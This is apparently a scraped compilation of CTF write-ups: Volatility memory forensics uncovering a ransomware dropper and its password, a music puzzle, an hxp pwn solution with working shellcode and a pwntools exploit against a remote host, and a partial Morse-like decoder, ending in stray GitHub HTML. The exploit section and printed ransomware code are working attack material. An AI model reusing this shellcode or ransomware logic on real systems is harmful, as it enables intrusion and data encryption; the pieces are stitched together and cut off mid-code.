0xfffffa801aff3b30 msdtc.exe 1436 492 14 155 0 0 2018-08-04 19:26:43 UTC+0000 0xfffffa801b112060 WmiPrvSE.exe 2136 604 12 324 0 0 2018-08-04 19:26:51 UTC+0000 0xfffffa801b1e9b30 taskhost.exe 2344 492 8 193 1 0 2018-08-04 19:26:57 UTC+0000 0xfffffa801b232060 sppsvc.exe 2500 492 4 149 0 0 2018-08-04 19:26:58 UTC+0000 0xfffffa801b1fab30 dwm.exe 2704 844 4 97 1 0 2018-08-04 19:27:04 UTC+0000 0xfffffa801b27e060 explorer.exe 2728 2696 33 854 1 0 2018-08-04 19:27:04 UTC+0000 0xfffffa801b1cdb30 vmtoolsd.exe 2804 2728 6 190 1 0 2018-08-04 19:27:06 UTC+0000 0xfffffa801b290b30 BitTorrent.exe 2836 2728 24 471 1 1 2018-08-04 19:27:07 UTC+0000 0xfffffa801b2f02e0 WebCompanion.e 2844 2728 0 -------- 1 0 2018-08-04 19:27:07 UTC+0000 2018-08-04 19:33:33 UTC+0000 0xfffffa801b3aab30 SearchIndexer. 3064 492 11 610 0 0 2018-08-04 19:27:14 UTC+0000 0xfffffa801b4a7b30 bittorrentie.e 2308 2836 15 337 1 1 2018-08-04 19:27:19 UTC+0000 0xfffffa801b4c9b30 bittorrentie.e 2624 2836 13 316 1 1 2018-08-04 19:27:21 UTC+0000 0xfffffa801b5cb740 LunarMS.exe 708 2728 18 346 1 1 2018-08-04 19:27:39 UTC+0000 0xfffffa801988c2d0 PresentationFo 724 492 6 148 0 0 2018-08-04 19:27:52 UTC+0000 0xfffffa801b603610 mscorsvw.exe 412 492 7 86 0 1 2018-08-04 19:28:42 UTC+0000 0xfffffa801a6af9f0 svchost.exe 164 492 12 147 0 0 2018-08-04 19:28:42 UTC+0000 0xfffffa801a6c2700 mscorsvw.exe 3124 492 7 77 0 0 2018-08-04 19:28:43 UTC+0000 0xfffffa801a6e4b30 svchost.exe 3196 492 14 352 0 0 2018-08-04 19:28:44 UTC+0000 0xfffffa801a4e3870 chrome.exe 4076 2728 44 1160 1 0 2018-08-04 19:29:30 UTC+0000 0xfffffa801a4eab30 chrome.exe 4084 4076 8 86 1 0 2018-08-04 19:29:30 UTC+0000 0xfffffa801a502b30 chrome.exe 576 4076 2 58 1 0 2018-08-04 19:29:31 UTC+0000 0xfffffa801a4f7b30 chrome.exe 1808 4076 13 229 1 0 2018-08-04 19:29:32 UTC+0000 0xfffffa801aa00a90 chrome.exe 3924 4076 16 228 1 0 2018-08-04 19:29:51 UTC+0000 0xfffffa801a7f98f0 chrome.exe 2748 4076 15 181 1 0 2018-08-04 19:31:15 UTC+0000 0xfffffa801b486b30 Rick And Morty 3820 2728 4 185 1 1 2018-08-04 19:32:55 UTC+0000 0xfffffa801a4c5b30 vmware-tray.ex 3720 3820 8 147 1 1 2018-08-04 19:33:02 UTC+0000 0xfffffa801b18f060 WebCompanionIn 3880 1484 15 522 0 1 2018-08-04 19:33:07 UTC+0000 0xfffffa801a635240 chrome.exe 3648 4076 16 207 1 0 2018-08-04 19:33:38 UTC+0000 0xfffffa801a5ef1f0 chrome.exe 1796 4076 15 170 1 0 2018-08-04 19:33:41 UTC+0000 0xfffffa801b08f060 sc.exe 3208 3880 0 -------- 0 0 2018-08-04 19:33:47 UTC+0000 2018-08-04 19:33:48 UTC+0000 0xfffffa801aeb6890 sc.exe 452 3880 0 -------- 0 0 2018-08-04 19:33:48 UTC+0000 2018-08-04 19:33:48 UTC+0000 0xfffffa801aa72b30 sc.exe 3504 3880 0 -------- 0 0 2018-08-04 19:33:48 UTC+0000 2018-08-04 19:33:48 UTC+0000 0xfffffa801ac01060 sc.exe 2028 3880 0 -------- 0 0 2018-08-04 19:33:49 UTC+0000 2018-08-04 19:34:03 UTC+0000 0xfffffa801aad1060 Lavasoft.WCAss 3496 492 14 473 0 0 2018-08-04 19:33:49 UTC+0000 0xfffffa801a6268b0 WebCompanion.e 3856 3880 15 386 0 1 2018-08-04 19:34:05 UTC+0000 0xfffffa801b1fd960 notepad.exe 3304 3132 2 79 1 0 2018-08-04 19:34:10 UTC+0000 0xfffffa801a572b30 cmd.exe 3916 1428 0 -------- 0 0 2018-08-04 19:34:22 UTC+0000 2018-08-04 19:34:22 UTC+0000 0xfffffa801a6643d0 conhost.exe 2420 348 0 30 0 0 2018-08-04 19:34:22 UTC+0000 2018-08-04 19:34:22 UTC+0000 ```
A lot of processes. I narrowed done to unique process first.```notepad.execommand.execonhost.exesvchost.exeLunarMS.exeBitTorrent.exevmware-tray.exesc.exe.....```
Now, we have to reduce the possibilities. You will never have reduction strategy without identifying which process is important. I used `pstree` next.
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pstreeVolatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801b27e060:explorer.exe 2728 2696 33 854 2018-08-04 19:27:04 UTC+0000. 0xfffffa801b486b30:Rick And Morty 3820 2728 4 185 2018-08-04 19:32:55 UTC+0000.. 0xfffffa801a4c5b30:vmware-tray.ex 3720 3820 8 147 2018-08-04 19:33:02 UTC+0000. 0xfffffa801b2f02e0:WebCompanion.e 2844 2728 0 ------ 2018-08-04 19:27:07 UTC+0000. 0xfffffa801a4e3870:chrome.exe 4076 2728 44 1160 2018-08-04 19:29:30 UTC+0000.. 0xfffffa801a4eab30:chrome.exe 4084 4076 8 86 2018-08-04 19:29:30 UTC+0000.. 0xfffffa801a5ef1f0:chrome.exe 1796 4076 15 170 2018-08-04 19:33:41 UTC+0000.. 0xfffffa801aa00a90:chrome.exe 3924 4076 16 228 2018-08-04 19:29:51 UTC+0000.. 0xfffffa801a635240:chrome.exe 3648 4076 16 207 2018-08-04 19:33:38 UTC+0000.. 0xfffffa801a502b30:chrome.exe 576 4076 2 58 2018-08-04 19:29:31 UTC+0000.. 0xfffffa801a4f7b30:chrome.exe 1808 4076 13 229 2018-08-04 19:29:32 UTC+0000.. 0xfffffa801a7f98f0:chrome.exe 2748 4076 15 181 2018-08-04 19:31:15 UTC+0000. 0xfffffa801b5cb740:LunarMS.exe 708 2728 18 346 2018-08-04 19:27:39 UTC+0000. 0xfffffa801b1cdb30:vmtoolsd.exe 2804 2728 6 190 2018-08-04 19:27:06 UTC+0000. 0xfffffa801b290b30:BitTorrent.exe 2836 2728 24 471 2018-08-04 19:27:07 UTC+0000.. 0xfffffa801b4c9b30:bittorrentie.e 2624 2836 13 316 2018-08-04 19:27:21 UTC+0000.. 0xfffffa801b4a7b30:bittorrentie.e 2308 2836 15 337 2018-08-04 19:27:19 UTC+0000 0xfffffa8018d44740:System 4 0 95 411 2018-08-04 19:26:03 UTC+0000. 0xfffffa801947e4d0:smss.exe 260 4 2 30 2018-08-04 19:26:03 UTC+0000 0xfffffa801a2ed060:wininit.exe 396 336 3 78 2018-08-04 19:26:11 UTC+0000. 0xfffffa801ab377c0:services.exe 492 396 11 242 2018-08-04 19:26:12 UTC+0000.. 0xfffffa801afe7800:svchost.exe 1948 492 6 96 2018-08-04 19:26:42 UTC+0000.. 0xfffffa801ae92920:vmtoolsd.exe 1428 492 9 313 2018-08-04 19:26:27 UTC+0000... 0xfffffa801a572b30:cmd.exe 3916 1428 0 ------ 2018-08-04 19:34:22 UTC+0000.. 0xfffffa801ae0f630:VGAuthService. 1356 492 3 85 2018-08-04 19:26:25 UTC+0000.. 0xfffffa801abbdb30:vmacthlp.exe 668 492 3 56 2018-08-04 19:26:16 UTC+0000.. 0xfffffa801aad1060:Lavasoft.WCAss 3496 492 14 473 2018-08-04 19:33:49 UTC+0000.. 0xfffffa801a6af9f0:svchost.exe 164 492 12 147 2018-08-04 19:28:42 UTC+0000.. 0xfffffa801ac2e9e0:svchost.exe 808 492 22 508 2018-08-04 19:26:18 UTC+0000... 0xfffffa801ac753a0:audiodg.exe 960 808 7 151 2018-08-04 19:26:19 UTC+0000.. 0xfffffa801ae7f630:dllhost.exe 1324 492 15 207 2018-08-04 19:26:42 UTC+0000.. 0xfffffa801a6c2700:mscorsvw.exe 3124 492 7 77 2018-08-04 19:28:43 UTC+0000.. 0xfffffa801b232060:sppsvc.exe 2500 492 4 149 2018-08-04 19:26:58 UTC+0000.. 0xfffffa801abebb30:svchost.exe 712 492 8 301 2018-08-04 19:26:17 UTC+0000.. 0xfffffa801ad718a0:svchost.exe 1164 492 18 312 2018-08-04 19:26:23 UTC+0000.. 0xfffffa801ac31b30:svchost.exe 844 492 17 396 2018-08-04 19:26:18 UTC+0000... 0xfffffa801b1fab30:dwm.exe 2704 844 4 97 2018-08-04 19:27:04 UTC+0000.. 0xfffffa801988c2d0:PresentationFo 724 492 6 148 2018-08-04 19:27:52 UTC+0000.. 0xfffffa801b603610:mscorsvw.exe 412 492 7 86 2018-08-04 19:28:42 UTC+0000.. 0xfffffa8018e3c890:svchost.exe 604 492 11 376 2018-08-04 19:26:16 UTC+0000... 0xfffffa8019124b30:WmiPrvSE.exe 1800 604 9 222 2018-08-04 19:26:39 UTC+0000... 0xfffffa801b112060:WmiPrvSE.exe 2136 604 12 324 2018-08-04 19:26:51 UTC+0000.. 0xfffffa801ad5ab30:spoolsv.exe 1120 492 14 346 2018-08-04 19:26:22 UTC+0000.. 0xfffffa801ac4db30:svchost.exe 868 492 45 1114 2018-08-04 19:26:18 UTC+0000.. 0xfffffa801a6e4b30:svchost.exe 3196 492 14 352 2018-08-04 19:28:44 UTC+0000.. 0xfffffa801acd37e0:svchost.exe 620 492 19 415 2018-08-04 19:26:21 UTC+0000.. 0xfffffa801b1e9b30:taskhost.exe 2344 492 8 193 2018-08-04 19:26:57 UTC+0000.. 0xfffffa801ac97060:svchost.exe 1012 492 12 554 2018-08-04 19:26:20 UTC+0000.. 0xfffffa801b3aab30:SearchIndexer. 3064 492 11 610 2018-08-04 19:27:14 UTC+0000.. 0xfffffa801aff3b30:msdtc.exe 1436 492 14 155 2018-08-04 19:26:43 UTC+0000. 0xfffffa801ab3f060:lsass.exe 500 396 7 610 2018-08-04 19:26:12 UTC+0000. 0xfffffa801ab461a0:lsm.exe 508 396 10 148 2018-08-04 19:26:12 UTC+0000 0xfffffa801a0c8380:csrss.exe 348 336 9 563 2018-08-04 19:26:10 UTC+0000. 0xfffffa801a6643d0:conhost.exe 2420 348 0 30 2018-08-04 19:34:22 UTC+0000 0xfffffa80198d3b30:csrss.exe 388 380 11 460 2018-08-04 19:26:11 UTC+0000 0xfffffa801aaf4060:winlogon.exe 432 380 3 113 2018-08-04 19:26:11 UTC+0000 0xfffffa801b18f060:WebCompanionIn 3880 1484 15 522 2018-08-04 19:33:07 UTC+0000. 0xfffffa801aa72b30:sc.exe 3504 3880 0 ------ 2018-08-04 19:33:48 UTC+0000. 0xfffffa801aeb6890:sc.exe 452 3880 0 ------ 2018-08-04 19:33:48 UTC+0000. 0xfffffa801a6268b0:WebCompanion.e 3856 3880 15 386 2018-08-04 19:34:05 UTC+0000. 0xfffffa801b08f060:sc.exe 3208 3880 0 ------ 2018-08-04 19:33:47 UTC+0000. 0xfffffa801ac01060:sc.exe 2028 3880 0 ------ 2018-08-04 19:33:49 UTC+0000 0xfffffa801b1fd960:notepad.exe 3304 3132 2 79 2018-08-04 19:34:10 UTC+0000```
I analyzed a lot more process. But, for the sake of writeup, we will jump on what stands out.
``` 0xfffffa801b486b30:Rick And Morty 3820 2728 4 185 2018-08-04 19:32:55 UTC+0000.. 0xfffffa801a4c5b30:vmware-tray.ex 3720 3820 8 147 2018-08-04 19:33:02 UTC+0000```
This means, the process 3820 is spinning a child-process with pid 3720 whose parent process ppid is 3820. Strange, let's investigate
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3820Volatility Foundation Volatility Framework 2.6************************************************************************Rick And Morty pid: 3820Command line : "C:\Torrents\Rick And Morty season 1 download.exe"
Base Size LoadCount LoadTime Path------------------ ------------------ ------------------ ------------------------------ ----0x0000000000400000 0x56000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Torrents\Rick And Morty season 1 download.exe0x00000000776f0000 0x1a9000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll0x0000000075210000 0x3f000 0x3 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64.dll0x00000000751b0000 0x5c000 0x1 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64win.dll0x00000000751a0000 0x8000 0x1 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64cpu.dll0x0000000000400000 0x56000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Torrents\Rick And Morty season 1 download.exe... omitted for brevity ...```
Dawg, I told ya not to download exe's from Torrent. We can analyze vm-tray.exe now.
```python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720Volatility Foundation Volatility Framework 2.6************************************************************************vmware-tray.ex pid: 3720Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe"
Base Size LoadCount LoadTime Path------------------ ------------------ ------------------ ------------------------------ ----0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe... omitted for brevity ...```Interesting part is it is executing from a Temp folder, nice so the parent process executable acts as a dropper to the `vmware-tray.exe` which suspciously uses `dlls` which it should not use.I dumped the process executable and figured out it is indeed a ransomware. (Hidden Tear - spoilers)
Hence,##### Flag: CTF{vmware-tray.exe} |
# PlaytimePoint: 50
Description:```Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?
format: CTF{flag}```
# Solution:Recall the `netscan` in the previous challenge. If you play game, one process will stand out `LunarMS`, IP's are not to it##### CTF{LunarMS}##### CTF{77.102.199.102} |
# Music (300)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(It seems like the challenge authors remade the challenge during the ctf. It seem to have been changed to a .png file... This writeup will be for the original challenge "music.txt")
We are presented with a txt file (can be downloaded here: https://github.com/flawwan/CTF-Writeups/blob/master/ritsec/music/music.txt)
music.txt```(t<<3)*[8/9,1,9/8,6/5,4/3,3/2,0][[0xd2d2c7,0xce4087,0xca32c7,0x8e4008][t>>14&3.1]>>(0x3dbe4687>>((t>>10&15)>9?18:t>>10&15)*3&7.1)*3&7.1]
Wrap your answer in RS{}```
No idea what this is. Googling parts of it we get:
Music SoftSynth. Seems useful.
Looks very similar to our string.
Lets replace the formula with ours and run the program.
** Plays rick rolled in speakers**
"Name that tune", that's "Never gonna give you up".
The flag format was revealed by the admin in discord.
And the final flag was:`RITSEC{never_gonna_give_you_up}` |
# RecoveryPoint: 300 points
```Rick got to have his files recovered! What is the random password used to encrypt the files?
format: CTF{...}```
# Solution:
This is a great challenge. Just like real world malware analysis. For the sake of completeness, I wish to recap
Process 3720 is the Malware
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720Volatility Foundation Volatility Framework 2.6************************************************************************vmware-tray.ex pid: 3720Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe"
Base Size LoadCount LoadTime Path------------------ ------------------ ------------------ ------------------------------ ----0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe0x00000000776f0000 0x1a9000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll0x0000000075210000 0x3f000 0x3 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64.dll0x00000000751b0000 0x5c000 0x1 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64win.dll0x00000000751a0000 0x8000 0x1 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64cpu.dll0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe```
After that, we dump executable and next we dump process memory. A very beautiful thing in Memory forensics area.
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -D dump/ -p 3720```
As it is memory dump, the uncertainity with the data increases exponentially. We got to reverse the bin more
```Cpublic string CreatePassword(int length) { StringBuilder stringBuilder = new StringBuilder(); Random random = new Random(); while (0 < length--) { stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/".Length)]); } return stringBuilder.ToString(); }````Random()` is used, with no recovery for seed. So, good 'ol days are no more. We know the regex `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/`
We reverse it bit more,```public void startAction() { string password = this.CreatePassword(15); string str = "\\Desktop\\"; string location = this.userDir + this.userName + str; this.SendPassword(password); this.encryptDirectory(location, password); this.messageCreator(); } ``` The length of password is 15. So, we have regex with length. Now, I play it with my grepping skills. I was sure it won't let me [down](https://aadityapurani.com/2018/09/16/csaw-ctf-writeups-2018/#whyos) It all boils down to your critical thinking skills next. ``` $ strings 3720.dmp > analyze.txt ``` Now, we have proper textual (yeah garbage).Intitially it was 20K lines even with exact 15 character strings. Using my grep skillz we went to 2.8K
```$ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{14}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|NID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory|Window|Loader|Manage|Class|Sink|Sys|Wow|MM|Create' | uniq | wc -l2837```
Now, I can read 2.8K lines```$ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{14}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|NID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory|Window|Loader|Manage|Class|Sink|Sys|Wow|MM|Create' | uniq | less```
Output:```44444444044444466666FFFFFFFFFF444444444444433CLIPBRDWNDCLASSutav4823DF041B0aDOBofVYUNVnmp744444444044444466666FFFFFFFFFF444444444444433ffnLffnLffnpffmlemeneoepeqerepy0N0O0P0Q0R0S0TN0O0P0Q0R0S0T0znfelf&nlunfDnruffnLffnLffnpffmLAeDRCeHNAexNAerAetrAeDsAe4sAe53eX53eP33eD33e...```
We apply some more critical thinking skills, I reversed the binary and public key was in there `b03f5f7f11d50a3a` but what's the use of public key? A wise man said, we can know in memory area of the dump where it resides. I twisted my grep logic to 16 bytes and looked where my public key is in the memory.
```$ grep -E '^.[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/]{15}$' analyze.txt | grep -vE 'Systems|Key|Java|Align|Driver|printer|MCLN|object|software|enough|Afd|enable|System|UUUU|Pos|SU|text|Body|Buffer|Length|match|Document|Un|On|tal|ing|ype|ign|Info|Instance|id32|p1|l1|File|Store|Selector|Available|Dll|Call|Make|maker|Init|Target|Put|Get|Requires|Column|0a1|0h1|0u1|0Z1|Params|resolve|0w1|0L1|0000000000000|Month|ByName|0000|000|2018|GUI|Command|long|status|Permission|IL|Il|Nil|web|ID|Runtime|es|Lower|Delayed|Transition|Bus|Flags|Image|Memory' | uniq | less```Output:```ssssssssssssssssb03f5f7f11d50a3aCryptoStreamModeContainerControlICryptoTransformencryptDirectory....```
Sweet, it's right above. No need to apply energy to go traverse the rabbit hole. Now, we see the previous dump where we are supposed to search `key`We are supposed to have the `key` right at the very top unless we are superunlucky and key matches one of our invert grep logic, then we will fail. But chances are super duper less.
Now, we have 2 candidates```utav4823DF041B0aDOBofVYUNVnmp7```I tried each one as flag, and the second one worked.
##### Flag: CTF{aDOBofVYUNVnmp7}
|
### === yunospace (Pwn: 47 solves, 153 pts) ===by mito
I use the following 9 bytes Shellcode("\x54\xb2\x51\x5e\x0f\x05\x5f\xeb\xf9").``` buf = asm(""" push rsp pos: mov dl,0x51 pop rsi syscall pop rdi jmp pos+1 """)```
This code is executed as shown below.```(1) push rsp(2) mov dl, 0x51 # set rdx = 0x51 and 0x51("push rcx") will be used later.(3) pop rsi # set rsi = rsp(4) syscall # read(0, rsp, 0x51) and 1 byte(0x01) read, then set rax = 0x1, *rsp = 0x1, set rcx = rip(5) pop rdi # set rdi = 0x1(6) jmp 0xf9 # jump position of "0x51"(7) push rcx (8) pop rsi # set rsi = rcx(9) syscall # write(1, rcx, 0x51)```
Exploit code is the following.```from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './yunospace'
flag = ""
for i in range(0,70): if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "195.201.127.119" PORT = 8664 s = remote(HOST, PORT) else: s = process(["/usr/bin/python", "wrapper.py"])
s.recvuntil("> Welcome. Which byte should we prepare for you today?\n") s.sendline(str(i)) s.recvuntil("> Ok. Now your shellcode, please.\n")
buf = asm(""" push rsp pos: mov dl,0x51 pop rsi syscall pop rdi jmp pos+1 """) s.send(buf)
buf = "\x01" # set rdi = 0x01 s.send(buf)
r = s.recv(4) flag += r[3] print "flag =", flag
s.close()```
Execution result```# python exploit.py r[+] Opening connection to 195.201.127.119 on port 8664: Doneflag = h[*] Closed connection to 195.201.127.119 port 8664[+] Opening connection to 195.201.127.119 on port 8664: Doneflag = hx...
[+] Opening connection to 195.201.127.119 on port 8664: Doneflag = hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng[*] Closed connection to 195.201.127.119 port 8664[+] Opening connection to 195.201.127.119 on port 8664: Doneflag = hxp{y0u_w0uldnt_b3l13v3_h0w_m4ny_3mulat0rs_g0t_th1s_wr0ng}``` |
# C1: dots-n-dashes
**Author:** Hrishikesh Hiraskar
```The instructions to disable C1 were considered restricted. As a result, they were stored only in encoded form.
The code to decode the instructions was regrettably lost due to cosmic radiation. However, the encoder survived.
Can you still decode the instructions to disable C1? ```
We are given a html file and a `instructions.txt` which is full of dot-n-dash.
On opening the html file, there is a interface which provides and text box with encode and decode buttons. A quick encode of sample text gives us string of dots-n-dashes. Hmmm, the `instructions.txt` is the encoded file which we have to decode.
But the decode button just erases all the text. After opening the source of html file it is clear that there are two functions `_encode` and `_decode` of which `_encode` did something but `_decode` just returned empty string. That's why it erased everything. Our task is to complete this `_decode` function.
To do that, we should know what `_encode` did. The function is divided into three parts, let's see what each part did.
## Part 1
```javascriptvar a=[];for (var i=0; i<input.length; i++) { var t = input.charCodeAt(i); for (var j=0; j<8; j++) { if ((t >> j) & 1) { a.push(1 + j + (input.length - 1 - i) * 8); } }}```
It is iterating through each character, and for each character, it is computing set bits in ascii representation and pushing the reverse index of the set bits.
For example, if the character is `A` which is `0x41 = 0100 0001`, the set bits are `a = [1, 7]`. Remember the _reverse index_.
## Part 2
```javascriptvar b = [];while (a.length) { var t = (Math.random() * a.length)|0; b.push(a[t]); a = a.slice(0, t).concat(a.slice(t+1));}```
It is running a while loop while `a` has positive length. At each iteration, it is calculating a random number in range of `a`s length, pushing it to `b`, then removing that element from `a`.
Javascript has fancy way of removing an element from list :D. Qouting [Juice WRLD](https://www.youtube.com/watch?v=LGNsVA2C9EM)
> I cannot change you so I must replace you (OH)
## Part 3
```javascriptvar r = '';while (b.length) { var t = b.pop(); r = r + "-".repeat(t) + ".";}return r;```
This is running over `b`, and for each element in `b`, appending element times dash and a dot to a string and then returning the string. This is our encoded string.
It is now clear that the encoder is calculating the set bits indexes and converting each set bit index to dashes delimited by dot. Now, we can just reverse these steps to get the decoded text.
Following steps show process to decode the text:
1. Get set bits indexes from the encoded text.2. Convert set bits list to a binary string with bits set accordingly.3. Convert the binary string to ascii text.
Only thing we need to take care is that the indexing order. The set bits are reverse index.
The following snippet shows the full `_decode` function:
```javascriptfunction _decode(input) { var dashes = input.split("."); console.log("dashes", dashes);
var setBits = []; var maxSetBit = 0; for (var i=0; i<dashes.length-1; i++) { setBits.push(dashes[i].length); maxSetBit = Math.max(maxSetBit, setBits[i]); } console.log("setBits", setBits); console.log("maxSetBit", maxSetBit);
var len = Math.floor(maxSetBit/8) + ((maxSetBit%8 > 0) ? 1 : 0); console.log("len", len);
var binaryString = "0".repeat(len*8); for (var i=0; i |
# Name Game 1Points: 100
Description:```We know that the account was logged in to a channel called Lunar-3. what is the account name?
format: CTF{flag}```
# Solution:
If he is logged in under `Lundar-3` user, it must be present as a string inside the `vmem` file. We use our grepping skills thereafter to search regions near what we want to match
```$ strings OtterCTF.vmem | grep Lunar-3 -A 2 -B 3disabledmouseOverkeyFocusedLunar-30tt3r8r33z3Sound/UI.img/--c+Yttb+Y4c+Yb+YLc+YLunar-3Lunar-4L(dNVxdNV```
We can find out the odd string.
##### CTF{0tt3r8r33z3} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 